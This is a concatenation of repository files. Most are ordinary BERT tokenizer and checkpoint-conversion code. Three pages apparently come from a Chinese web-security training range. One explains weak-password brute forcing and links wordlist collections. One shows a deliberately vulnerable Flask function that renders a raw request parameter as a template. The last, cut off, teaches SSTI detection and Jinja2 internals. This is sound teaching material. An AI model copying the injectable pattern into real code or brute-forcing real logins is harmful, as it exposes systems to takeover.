`List[int]`: List of [token type IDs](../glossary#token-type-ids) according to the given sequence(s).
"""
sep = [self.sep_token_id]
cls = [self.cls_token_id]
if token_ids_1 is None:
return len(cls + token_ids_0 + sep) * [0]
return len(cls + token_ids_0 + sep) * [0] + len(token_ids_1 + sep) * [1]
def save_vocabulary(self, save_directory: str, filename_prefix: Optional[str] = None) -> Tuple[str]:
files = self._tokenizer.model.save(save_directory, name=filename_prefix)
return tuple(files)
|
2740908911/Pilot-Web | 3,446 | pilot-client/pages/bruteforce/assist/sum-2.html | <!doctype html>
<html>
<head>
<meta charset='UTF-8'><meta name='viewport' content='width=device-width initial-scale=1'>
<link rel='stylesheet' href='../../../plugins/googleapis/fonts.css'>
<link rel="stylesheet" href="../../../dist/css/markdown.css">
</head>
<body class='typora-export os-windows'><div class='typora-export-content'>
<div id='write' class=''><ul><li><p><strong><span>弱口令枚举介绍</span></strong></p><p><span>在应用系统登录的过程中,若确定用户名存在于系统,且系统不存在安全的验证码及其他防止密码枚举的手段进行限制,则攻击者可通过大量的登录尝试判断用户密码是否正确。</span></p><p><span>弱口令枚举建立在上述前提上,因为枚举全部可能口令时间成本过高,所以攻击者通常使用常见的弱口令或生成与系统相关度较高的弱口令来进行登录测试。</span></p></li></ul><p></br></p><ul><li><p><strong><span>弱口令的定义</span></strong></p><p><span>没有严格和准确的定义,通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令。弱口令指的是仅包含简单数字和字母的口令,例如“123”、“abc”等,因为这样的口令很容易被别人破解,从而使用户的计算机面临风险。</span></p></li></ul><p></br></p><ul><li><p><strong><span>弱口令枚举原理</span></strong></p><p><span>通过枚举在该系统中出现可能较高的密码,配合已知的用户名来进行大量登录测试。弱口令枚举是对目标针对度更高的密码爆破攻击,本质上利用了穷举法。</span></p></li></ul><p></br></p><ul><li><p><strong><span>弱口令枚举漏洞的涉及范围</span></strong></p><ol start='' ><li><p><span>网站后台登录</span></p></li><li><p><span>OA系统登录</span></p></li><li><p><span>网络、安全设备登录</span></p></li><li><p><span>数据库登录</span></p></li><li><p><span>中间件管理界面登录</span></p></li><li><p><span>远程连接登录</span></p></li></ol></li></ul><p></br></p><ul><li><p><strong><span>WEB系统中弱口令枚举测试点</span></strong></p><p><span>登录处、密码修改处、账户信息相关API接口等。</span></p></li></ul><p></br></p><ul><li><p><strong><span>常见的弱口令</span></strong></p><ol start='' ><li><p><span>系统出厂默认口令没有修改。</span></p></li><li><p><span>密码设置过于简单,如口令长度不足,单一使用字母或数字。</span></p></li><li><p><span>使用了生日、姓名、电话号码、身份证号码等比较容易被攻击者猜到的信息设置口令。</span></p></li><li><p><span>设置的口令属于流行口令库中的流行口令。</span></p></li></ol></li></ul><p></br></p><ul><li><p><strong><span>弱口令字典</span></strong></p><ol start='' ><li><p><a href='https://github.com/rootphantomer/Blasting_dictionary' target="_blank"><span>Blasting_dictionary</span></a></p></li><li><p><a href='https://github.com/TheKingOfDuck/fuzzDicts' target="_blank"><span>fuzzDicts</span></a></p></li><li><p><a href='https://github.com/zxcvbn001/password_brute_dictionary' target="_blank"><span>password_brute_dictionary</span></a></p></li><li><p><a href='https://github.com/gh0stkey/Web-Fuzzing-Box' target="_blank"><span>Web-Fuzzing-Box</span></a></p></li><li><p><a href='https://github.com/k8gege/PasswordDic' target="_blank"><span>PasswordDic</span></a></p></li></ol></li></ul><p></br></p><ul><li><p><strong><span>漏洞修复</span></strong></p><ol start='' ><li><p><span>增加安全的验证码机制,避免被探测工具批量枚举弱口令。</span></p></li><li><p><span>对短时间内大量请求的IP进行封禁策略。</span></p></li><li><p><span>对大量的登录失败请求账户进行短时间锁定。</span></p></li><li><p><span>在注册时增强用户密码策略,如限制最低位数、密码复杂度等。</span></p></li><li><p><span>做好用户和网站信息保护,防止根据个人或网站相关信息生成弱口令字典。</span></p></li></ol></li></ul><p></br></p><ul><li><p><strong><span>推荐学习文章</span></strong></p><ol start='' ><li><p><a href='https://www.freebuf.com/articles/web/235632.html' target="_blank"><span>Freebuf-红蓝对抗web漏洞利用之弱口令</span></a></p></li><li><p><a href='https://blog.csdn.net/rumil/article/details/130663758' target="_blank"><span>CSDN-web漏洞-弱口令暴力破解</span></a></p></li><li><p><a href='https://cloud.tencent.com/developer/article/2127375' target="_blank"><span>腾讯社区-实用 | 如何利用 Burp Suite 进行密码爆破</span></a></p></li><li><p><a href='https://www.zhihu.com/tardis/bd/art/95985584?source_id=1001' target="_blank"><span>知乎-手把手带你学习BurpSuite</span></a></p></li></ol></li></ul></div></div>
</body>
</html> |
2740908911/Pilot-Web | 3,742 | pilot-client/pages/ssti/assist/sCode-1.html | <!doctype html>
<html>
<head>
<meta charset='UTF-8'><meta name='viewport' content='width=device-width initial-scale=1'>
<link rel='stylesheet' href='../../../plugins/googleapis/fonts.css'>
<link rel="stylesheet" href="../../../dist/css/markdown.css">
</head>
<body class='typora-export os-windows'><div class='typora-export-content'>
<div id='write' class='card'><pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" lang="python"><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang="python"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.51562px; left: 8px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: 0px; width: 0px;"></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">def</span> <span class="cm-def">ssti_jinja2</span>():</span></pre></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment"># 从请求参数中获取param的值</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">param</span> <span class="cm-operator">=</span> <span class="cm-variable">request</span>.<span class="cm-property">args</span>[<span class="cm-string">'param'</span>]</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment"># 使用render_template_string函数将param渲染为模板字符串</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">rendered_template</span> <span class="cm-operator">=</span> <span class="cm-variable">render_template_string</span>(<span class="cm-variable">param</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment"># 返回渲染后的模板字符串</span></span></pre><div class="" style="position: relative;"><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-variable">rendered_template</span></span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 161px;"></div><div class="CodeMirror-gutters" style="display: none; height: 161px;"></div></div></div></pre></div></div>
</body>
</html> |
27182812/ChatGLM-LLaMA-chinese-insturct | 4,100 | src/transformers/models/bert/convert_bert_pytorch_checkpoint_to_original_tf.py | # coding=utf-8
# Copyright 2018 The HuggingFace Inc. team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Convert Huggingface Pytorch checkpoint to Tensorflow checkpoint."""
import argparse
import os
import numpy as np
import tensorflow as tf
import torch
from transformers import BertModel
def convert_pytorch_checkpoint_to_tf(model: BertModel, ckpt_dir: str, model_name: str):
"""
Args:
model: BertModel Pytorch model instance to be converted
ckpt_dir: Tensorflow model directory
model_name: model name
Currently supported HF models:
- Y BertModel
- N BertForMaskedLM
- N BertForPreTraining
- N BertForMultipleChoice
- N BertForNextSentencePrediction
- N BertForSequenceClassification
- N BertForQuestionAnswering
"""
tensors_to_transpose = ("dense.weight", "attention.self.query", "attention.self.key", "attention.self.value")
var_map = (
("layer.", "layer_"),
("word_embeddings.weight", "word_embeddings"),
("position_embeddings.weight", "position_embeddings"),
("token_type_embeddings.weight", "token_type_embeddings"),
(".", "/"),
("LayerNorm/weight", "LayerNorm/gamma"),
("LayerNorm/bias", "LayerNorm/beta"),
("weight", "kernel"),
)
if not os.path.isdir(ckpt_dir):
os.makedirs(ckpt_dir)
state_dict = model.state_dict()
def to_tf_var_name(name: str):
for patt, repl in iter(var_map):
name = name.replace(patt, repl)
return f"bert/{name}"
def create_tf_var(tensor: np.ndarray, name: str, session: tf.Session):
tf_dtype = tf.dtypes.as_dtype(tensor.dtype)
tf_var = tf.get_variable(dtype=tf_dtype, shape=tensor.shape, name=name, initializer=tf.zeros_initializer())
session.run(tf.variables_initializer([tf_var]))
session.run(tf_var)
return tf_var
tf.reset_default_graph()
with tf.Session() as session:
for var_name in state_dict:
tf_name = to_tf_var_name(var_name)
torch_tensor = state_dict[var_name].numpy()
if any([x in var_name for x in tensors_to_transpose]):
torch_tensor = torch_tensor.T
tf_var = create_tf_var(tensor=torch_tensor, name=tf_name, session=session)
tf.keras.backend.set_value(tf_var, torch_tensor)
tf_weight = session.run(tf_var)
print(f"Successfully created {tf_name}: {np.allclose(tf_weight, torch_tensor)}")
saver = tf.train.Saver(tf.trainable_variables())
saver.save(session, os.path.join(ckpt_dir, model_name.replace("-", "_") + ".ckpt"))
def main(raw_args=None):
parser = argparse.ArgumentParser()
parser.add_argument("--model_name", type=str, required=True, help="model name e.g. bert-base-uncased")
parser.add_argument(
"--cache_dir", type=str, default=None, required=False, help="Directory containing pytorch model"
)
parser.add_argument("--pytorch_model_path", type=str, required=True, help="/path/to/<pytorch-model-name>.bin")
parser.add_argument("--tf_cache_dir", type=str, required=True, help="Directory in which to save tensorflow model")
args = parser.parse_args(raw_args)
model = BertModel.from_pretrained(
pretrained_model_name_or_path=args.model_name,
state_dict=torch.load(args.pytorch_model_path),
cache_dir=args.cache_dir,
)
convert_pytorch_checkpoint_to_tf(model=model, ckpt_dir=args.tf_cache_dir, model_name=args.model_name)
if __name__ == "__main__":
main()
|
27182812/ChatGLM-LLaMA-chinese-insturct | 11,551 | src/transformers/models/bert/tokenization_bert_tf.py | import os
from typing import List, Union
import tensorflow as tf
from tensorflow_text import BertTokenizer as BertTokenizerLayer
from tensorflow_text import FastBertTokenizer, ShrinkLongestTrimmer, case_fold_utf8, combine_segments, pad_model_inputs
from .tokenization_bert import BertTokenizer
class TFBertTokenizer(tf.keras.layers.Layer):
"""
This is an in-graph tokenizer for BERT. It should be initialized similarly to other tokenizers, using the
`from_pretrained()` method. It can also be initialized with the `from_tokenizer()` method, which imports settings
from an existing standard tokenizer object.
In-graph tokenizers, unlike other Hugging Face tokenizers, are actually Keras layers and are designed to be run
when the model is called, rather than during preprocessing. As a result, they have somewhat more limited options
than standard tokenizer classes. They are most useful when you want to create an end-to-end model that goes
straight from `tf.string` inputs to outputs.
Args:
vocab_list (`list`):
List containing the vocabulary.
do_lower_case (`bool`, *optional*, defaults to `True`):
Whether or not to lowercase the input when tokenizing.
cls_token_id (`str`, *optional*, defaults to `"[CLS]"`):
The classifier token which is used when doing sequence classification (classification of the whole sequence
instead of per-token classification). It is the first token of the sequence when built with special tokens.
sep_token_id (`str`, *optional*, defaults to `"[SEP]"`):
The separator token, which is used when building a sequence from multiple sequences, e.g. two sequences for
sequence classification or for a text and a question for question answering. It is also used as the last
token of a sequence built with special tokens.
pad_token_id (`str`, *optional*, defaults to `"[PAD]"`):
The token used for padding, for example when batching sequences of different lengths.
padding (`str`, defaults to `"longest"`):
The type of padding to use. Can be either `"longest"`, to pad only up to the longest sample in the batch,
or `"max_length", to pad all inputs to the maximum length supported by the tokenizer.
truncation (`bool`, *optional*, defaults to `True`):
Whether to truncate the sequence to the maximum length.
max_length (`int`, *optional*, defaults to `512`):
The maximum length of the sequence, used for padding (if `padding` is "max_length") and/or truncation (if
`truncation` is `True`).
pad_to_multiple_of (`int`, *optional*, defaults to `None`):
If set, the sequence will be padded to a multiple of this value.
return_token_type_ids (`bool`, *optional*, defaults to `True`):
Whether to return token_type_ids.
return_attention_mask (`bool`, *optional*, defaults to `True`):
Whether to return the attention_mask.
use_fast_bert_tokenizer (`bool`, *optional*, defaults to `True`):
If set to false will use standard TF Text BertTokenizer, making it servable by TF Serving.
"""
def __init__(
self,
vocab_list: List,
do_lower_case: bool,
cls_token_id: int = None,
sep_token_id: int = None,
pad_token_id: int = None,
padding: str = "longest",
truncation: bool = True,
max_length: int = 512,
pad_to_multiple_of: int = None,
return_token_type_ids: bool = True,
return_attention_mask: bool = True,
use_fast_bert_tokenizer: bool = True,
):
super().__init__()
if use_fast_bert_tokenizer:
self.tf_tokenizer = FastBertTokenizer(
vocab_list, token_out_type=tf.int64, lower_case_nfd_strip_accents=do_lower_case
)
else:
lookup_table = tf.lookup.StaticVocabularyTable(
tf.lookup.KeyValueTensorInitializer(
keys=vocab_list,
key_dtype=tf.string,
values=tf.range(tf.size(vocab_list, out_type=tf.int64), dtype=tf.int64),
value_dtype=tf.int64,
),
num_oov_buckets=1,
)
self.tf_tokenizer = BertTokenizerLayer(lookup_table, token_out_type=tf.int64, lower_case=do_lower_case)
self.vocab_list = vocab_list
self.do_lower_case = do_lower_case
self.cls_token_id = cls_token_id or vocab_list.index("[CLS]")
self.sep_token_id = sep_token_id or vocab_list.index("[SEP]")
self.pad_token_id = pad_token_id or vocab_list.index("[PAD]")
self.paired_trimmer = ShrinkLongestTrimmer(max_length - 3, axis=1) # Allow room for special tokens
self.max_length = max_length
self.padding = padding
self.truncation = truncation
self.pad_to_multiple_of = pad_to_multiple_of
self.return_token_type_ids = return_token_type_ids
self.return_attention_mask = return_attention_mask
@classmethod
def from_tokenizer(cls, tokenizer: "PreTrainedTokenizerBase", **kwargs): # noqa: F821
"""
Initialize a `TFBertTokenizer` from an existing `Tokenizer`.
Args:
tokenizer (`PreTrainedTokenizerBase`):
The tokenizer to use to initialize the `TFBertTokenizer`.
Examples:
```python
from transformers import AutoTokenizer, TFBertTokenizer
tokenizer = AutoTokenizer.from_pretrained("bert-base-uncased")
tf_tokenizer = TFBertTokenizer.from_tokenizer(tokenizer)
```
"""
do_lower_case = kwargs.pop("do_lower_case", None)
do_lower_case = tokenizer.do_lower_case if do_lower_case is None else do_lower_case
cls_token_id = kwargs.pop("cls_token_id", None)
cls_token_id = tokenizer.cls_token_id if cls_token_id is None else cls_token_id
sep_token_id = kwargs.pop("sep_token_id", None)
sep_token_id = tokenizer.sep_token_id if sep_token_id is None else sep_token_id
pad_token_id = kwargs.pop("pad_token_id", None)
pad_token_id = tokenizer.pad_token_id if pad_token_id is None else pad_token_id
vocab = tokenizer.get_vocab()
vocab = sorted([(wordpiece, idx) for wordpiece, idx in vocab.items()], key=lambda x: x[1])
vocab_list = [entry[0] for entry in vocab]
return cls(
vocab_list=vocab_list,
do_lower_case=do_lower_case,
cls_token_id=cls_token_id,
sep_token_id=sep_token_id,
pad_token_id=pad_token_id,
**kwargs,
)
@classmethod
def from_pretrained(cls, pretrained_model_name_or_path: Union[str, os.PathLike], *init_inputs, **kwargs):
"""
Instantiate a `TFBertTokenizer` from a pre-trained tokenizer.
Args:
pretrained_model_name_or_path (`str` or `os.PathLike`):
The name or path to the pre-trained tokenizer.
Examples:
```python
from transformers import TFBertTokenizer
tf_tokenizer = TFBertTokenizer.from_pretrained("bert-base-uncased")
```
"""
try:
tokenizer = BertTokenizer.from_pretrained(pretrained_model_name_or_path, *init_inputs, **kwargs)
except: # noqa: E722
from .tokenization_bert_fast import BertTokenizerFast
tokenizer = BertTokenizerFast.from_pretrained(pretrained_model_name_or_path, *init_inputs, **kwargs)
return cls.from_tokenizer(tokenizer, **kwargs)
def unpaired_tokenize(self, texts):
if self.do_lower_case:
texts = case_fold_utf8(texts)
tokens = self.tf_tokenizer.tokenize(texts)
return tokens.merge_dims(1, -1)
def call(
self,
text,
text_pair=None,
padding=None,
truncation=None,
max_length=None,
pad_to_multiple_of=None,
return_token_type_ids=None,
return_attention_mask=None,
):
if padding is None:
padding = self.padding
if padding not in ("longest", "max_length"):
raise ValueError("Padding must be either 'longest' or 'max_length'!")
if max_length is not None and text_pair is not None:
# Because we have to instantiate a Trimmer to do it properly
raise ValueError("max_length cannot be overridden at call time when truncating paired texts!")
if max_length is None:
max_length = self.max_length
if truncation is None:
truncation = self.truncation
if pad_to_multiple_of is None:
pad_to_multiple_of = self.pad_to_multiple_of
if return_token_type_ids is None:
return_token_type_ids = self.return_token_type_ids
if return_attention_mask is None:
return_attention_mask = self.return_attention_mask
if not isinstance(text, tf.Tensor):
text = tf.convert_to_tensor(text)
if text_pair is not None and not isinstance(text_pair, tf.Tensor):
text_pair = tf.convert_to_tensor(text_pair)
if text_pair is not None:
if text.shape.rank > 1:
raise ValueError("text argument should not be multidimensional when a text pair is supplied!")
if text_pair.shape.rank > 1:
raise ValueError("text_pair should not be multidimensional!")
if text.shape.rank == 2:
text, text_pair = text[:, 0], text[:, 1]
text = self.unpaired_tokenize(text)
if text_pair is None: # Unpaired text
if truncation:
text = text[:, : max_length - 2] # Allow room for special tokens
input_ids, token_type_ids = combine_segments(
(text,), start_of_sequence_id=self.cls_token_id, end_of_segment_id=self.sep_token_id
)
else: # Paired text
text_pair = self.unpaired_tokenize(text_pair)
if truncation:
text, text_pair = self.paired_trimmer.trim([text, text_pair])
input_ids, token_type_ids = combine_segments(
(text, text_pair), start_of_sequence_id=self.cls_token_id, end_of_segment_id=self.sep_token_id
)
if padding == "longest":
pad_length = input_ids.bounding_shape(axis=1)
if pad_to_multiple_of is not None:
# No ceiling division in tensorflow, so we negate floordiv instead
pad_length = pad_to_multiple_of * (-tf.math.floordiv(-pad_length, pad_to_multiple_of))
else:
pad_length = max_length
input_ids, attention_mask = pad_model_inputs(input_ids, max_seq_length=pad_length, pad_value=self.pad_token_id)
output = {"input_ids": input_ids}
if return_attention_mask:
output["attention_mask"] = attention_mask
if return_token_type_ids:
token_type_ids, _ = pad_model_inputs(
token_type_ids, max_seq_length=pad_length, pad_value=self.pad_token_id
)
output["token_type_ids"] = token_type_ids
return output
def get_config(self):
return {
"vocab_list": self.vocab_list,
"do_lower_case": self.do_lower_case,
"cls_token_id": self.cls_token_id,
"sep_token_id": self.sep_token_id,
"pad_token_id": self.pad_token_id,
}
|
2740908911/Pilot-Web | 55,576 | pilot-client/pages/ssti/assist/sum-1.html | <!doctype html>
<html>
<head>
<meta charset='UTF-8'><meta name='viewport' content='width=device-width initial-scale=1'>
<link rel='stylesheet' href='../../../plugins/googleapis/fonts.css'>
<link rel="stylesheet" href="../../../dist/css/markdown.css">
</head>
<body class='typora-export os-windows'><div class='typora-export-content'>
<div id='write' class=''><ul><li><p><strong><span>什么是SSTI</span></strong></p><p><span>SSTI为服务端模板注入攻击,它主要是由于框架的不规范使用而导致的。主要为python的一些框架,如 jinja2 mako tornado django flask、PHP框架smarty twig thinkphp、java框架jade velocity spring等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。</span></p></li></ul><p></br></p><ul><li><p><strong><span>漏洞成因</span></strong></p><p><span>服务端接收了攻击者的恶意输入以后,未经任何处理就将其作为Web应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中(一般可以执行各种表达式),执行了攻击者插入的可以破坏模板结构的语句(恶意Payload),因而可能导致了敏感信息泄露、代码执行、GetShell等问题。其影响范围主要取决于模版引擎的复杂性。</span></p></li></ul><p></br></p><ul><li><p><strong><span>SSTI前置知识之模板引擎</span></strong></p><p><span>主流的WEB服务开发时,主要分为以下两种技术:</span></p><ul><li><p><span>前后端不分离:即后端完成路由,用户在浏览器输入一个url,访问的是后端路由(服务端响应),后端接收请求后,再将数据通过</span><code>模板引擎</code><span>解析再渲染成视图返回给前端。后端路由,由后端渲染数据,再返回视图给前端,前端只负责展示视图,所有的交互都在后台。</span></p><p><span>可以简单理解为,访问一个URL后直接得到html页面。</span></p></li><li><p><span>前后端分离:前端使用JavaScript框架,如(jquery,vue,react,angular),前端项目化;后端去掉所有的视图,只提供api接口,用户在浏览器访问的路由为前端路由(也称为Hash路由,由前端响应),只加载前端视图,数据只通过ajax获取,前端获取数据之后再渲染到视图,前端负责控制路由,展示视图,后端只负责提供api,用户和视图交互,视图上的按钮以及页面数据和后端api交互;</span></p><p><span>可以简单理解为,访问一个URL后返回的是JSON等数据,而不是一个完全渲染好的html页面。例如本靶场的架构就为前后端分离架构。</span></p></li></ul><p><span>所以模板引擎技术主要应用在前后端不分离的项目中,通过提前定义好模板,将数据填充进行渲染出HTML后,返回给浏览器。</span></p><p><span>通过这种方法,可以做到逻辑与视图分离,更容易、清楚且相对安全地编写前后端不同的逻辑。作为对比,一个很不好的解决方法是通过字符串拼接的方式来组成HTML文件,然后统一输出。</span></p></li></ul><p></br></p><ul><li><p><strong><span>SSTI漏洞测试</span></strong></p><ol><li><p><span>SSTI基本上只存在于前后端不分离项目,即接口直接返回渲染好的HTML页面。</span></p></li><li><p><span>存在SSTI漏洞的接口通常存在参数输入点,且参数在HTML页面中有回显点。</span></p></li><li><p><span>也有可能通过二次注入的方式,在不同接口中体现。</span></p></li><li><p><span>可以通过工具对模板引擎进行判断,也可以尝试特定Payload进行判断。</span></p></li></ol></li></ul><p></br></p><ul><li><p><strong><span>不同模板引擎判定</span></strong></p><p><span>可以根据下表对模板引擎进行判定:</span></p><p><img src="ssti-1.jpg" referrerpolicy="no-referrer"></p></li></ul><p></br></p><ul><li><p><strong><span>已知的一些模版和其是否存在问题</span></strong></p></li></ul><p><img src="ssti-sum.png" referrerpolicy="no-referrer"></p><p></br></p><ul><li><p><strong><span>SSTI之Flask-JinJa2模板引擎</span></strong></p><p><span>Jinja2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的,是Flask框架的一部分。</span></p><ul><li><p><span>基础语法</span></p><pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" lang="jinja2" style="break-inside: unset;"><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang="jinja2"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.51562px; left: 8px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: 0px; width: 0px;"></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-variable"> ... </span><span class="cm-tag">}}</span>:装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉。</span></pre></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{%</span><span class="cm-variable"> ... </span><span class="cm-tag">%}</span>:装载一个控制语句。</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-comment">{# ... #}</span>:装载一个注释,模板渲染的时候会忽视这中间的值</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{%</span><span class="cm-variable"> set name</span><span class="cm-operator">=</span><span class="cm-string">'xx'</span><span class="cm-variable"> </span><span class="cm-tag">%}</span>:在模板中添加变量</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"># with语句来创建一个内部的作用域,将set语句放在其中,这样创建的变量只在with代码块中才有效</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{%</span><span class="cm-keyword"> with</span><span class="cm-variable"> gg </span><span class="cm-operator">=</span><span class="cm-number"> 42</span><span class="cm-variable"> </span><span class="cm-tag">%}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-variable"> gg </span><span class="cm-tag">}}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{%</span><span class="cm-keyword"> endwith</span><span class="cm-variable"> </span><span class="cm-tag">%}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"># if语句</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{%</span><span class="cm-keyword"> if</span><span class="cm-number"> 1</span><span class="cm-operator">==</span><span class="cm-number">1</span><span class="cm-variable"> </span><span class="cm-tag">%}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-number"> 7*7</span><span class="cm-variable"> </span><span class="cm-tag">}}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{%</span><span class="cm-variable">else</span><span class="cm-tag">%}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-number"> 8*8</span><span class="cm-variable"> </span><span class="cm-tag">}}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{%</span><span class="cm-keyword"> endif</span><span class="cm-variable"> </span><span class="cm-tag">%}</span></span></pre></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 392px;"></div><div class="CodeMirror-gutters" style="display: none; height: 392px;"></div></div></div></pre></li><li><p><span>Python魔术方法</span></p><p><span>Python魔术方法(Magic Methods)是一系列特殊命名的方法,其名称以双下划头和尾(例如</span><code>__init__</code><span>和</span><code>__new__</code><span>)的形式出现,这些方法在类的特定事件被触发时自动执行,无需显式调用。这些方法允许程序员自定义类的行为,以创建更具表现力和功能的类实例。</span></p><pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" lang=""><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang=""><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.51562px; left: 8px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: 0px; width: 0px;"></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">__class__ <span class="cm-tab" role="presentation" cm-text=" "> </span><span class="cm-tab" role="presentation" cm-text=" "> </span>返回示例所属的类</span></pre></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">__mro__ <span class="cm-tab" role="presentation" cm-text=" "> </span><span class="cm-tab" role="presentation" cm-text=" "> 